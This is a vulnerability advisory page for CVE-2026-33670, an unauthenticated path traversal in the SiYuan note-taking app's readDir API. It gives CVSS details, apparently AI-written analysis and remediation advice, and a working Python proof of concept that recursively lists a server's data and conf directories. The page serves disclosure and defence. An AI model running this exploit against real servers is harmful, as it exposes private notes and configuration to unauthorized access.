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Python CVE-2026-33670

CRITICAL
Path Traversal (CWE-22)
2026-03-25 https://github.com/siyuan-note/siyuan
9.8
CVSS 3.1 · GitHub Advisory
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GitHub Advisory PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SUSE
CRITICAL
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Analysis Generated
Mar 25, 2026 - 19:47 vuln.today
CVE Published
Mar 25, 2026 - 19:38 nvd
CRITICAL 9.8

DescriptionGitHub Advisory

Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

PoC

python
#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys

def poc(target):
    base = target.rstrip("/")
    url = f"{base}/api/file/readDir"

    def read_dir(path, depth=0, max_depth=4):
        try:
            r = requests.post(url, json={"path":path},
                            headers={"Content-Type":"application/json"}, timeout=10)
            data = r.json()
        except Exception as e:
            return
        if data.get("code") != 0:
            return

        entries = data.get("data") or []
        for entry in entries:
            name = entry.get("name","")
            if name.startswith("."):
                continue
            icon = "📁" if entry.get("isDir") else "📄"
            indent = "  " * depth
            print(f"  {indent}{icon} {name}")

            if entry.get("isDir") and depth < max_depth:
                read_dir(f"{path}/{name}", depth+1, max_depth)
# 遍历根目录
    print("[+] 漏洞存在!开始遍历\n")
    print("  📂 data/")
    read_dir("data", max_depth=2)

    print("\n  📂 conf/")
    read_dir("conf", max_depth=2)
# 保存
    try:
        r = requests.post(url, json={"path":"data"},
                        headers={"Content-Type":"application/json"}, timeout=10)
        with open("readdir.json","w",encoding="utf-8") as f:
            json.dump(r.json(), f, ensure_ascii=False, indent=2)
        print(f"\n[+] 根目录数据已保存: readdir.json")
    except: pass

if __name__ == "__main__":
    poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")

Impact

Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.

资源文件夹

<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />

插件文件夹

<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />

conf文件夹

<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />

AnalysisAI

SiYuan, a note-taking application written in Go, contains an unauthenticated directory traversal vulnerability in its /api/file/readDir endpoint. The vulnerability allows remote attackers without authentication to enumerate the entire directory structure of notebooks, configuration folders, plugins, and resource directories, which can be chained with file reading vulnerabilities for arbitrary document access. A working Python proof-of-concept exploit is publicly available, demonstrating recursive directory enumeration of data/ and conf/ directories.

Technical ContextAI

This vulnerability affects the SiYuan kernel (github.com/siyuan-note/siyuan/kernel), a Go-based backend for a note-taking and personal knowledge management system. The flaw is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), commonly known as path traversal. The /api/file/readDir API endpoint accepts JSON POST requests with a 'path' parameter and returns directory listings without validating authentication tokens or restricting traversal scope. The endpoint processes requests with arbitrary paths (e.g., 'data', 'conf', 'data/plugins') and recursively exposes file and directory names, isDir flags, and complete structural metadata. This represents a failure to implement proper authorization checks on sensitive file system operations exposed through a web API.

RemediationAI

Users should immediately consult the official SiYuan security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww for patched versions and upgrade to the latest secure release as soon as available. Until patching is complete, implement network-level access controls to restrict SiYuan API endpoints to trusted IP ranges only, deploy the application behind an authenticating reverse proxy with mandatory authentication for all /api/* paths, or disable remote access entirely if only local usage is required. Organizations should audit logs for suspicious POST requests to /api/file/readDir with various path parameters (especially 'data', 'conf', 'plugins') originating from unexpected sources. Consider implementing application-level authentication tokens or API keys if the software supports them, and review all other API endpoints for similar missing authentication issues.

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SUSE

Severity: Critical
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

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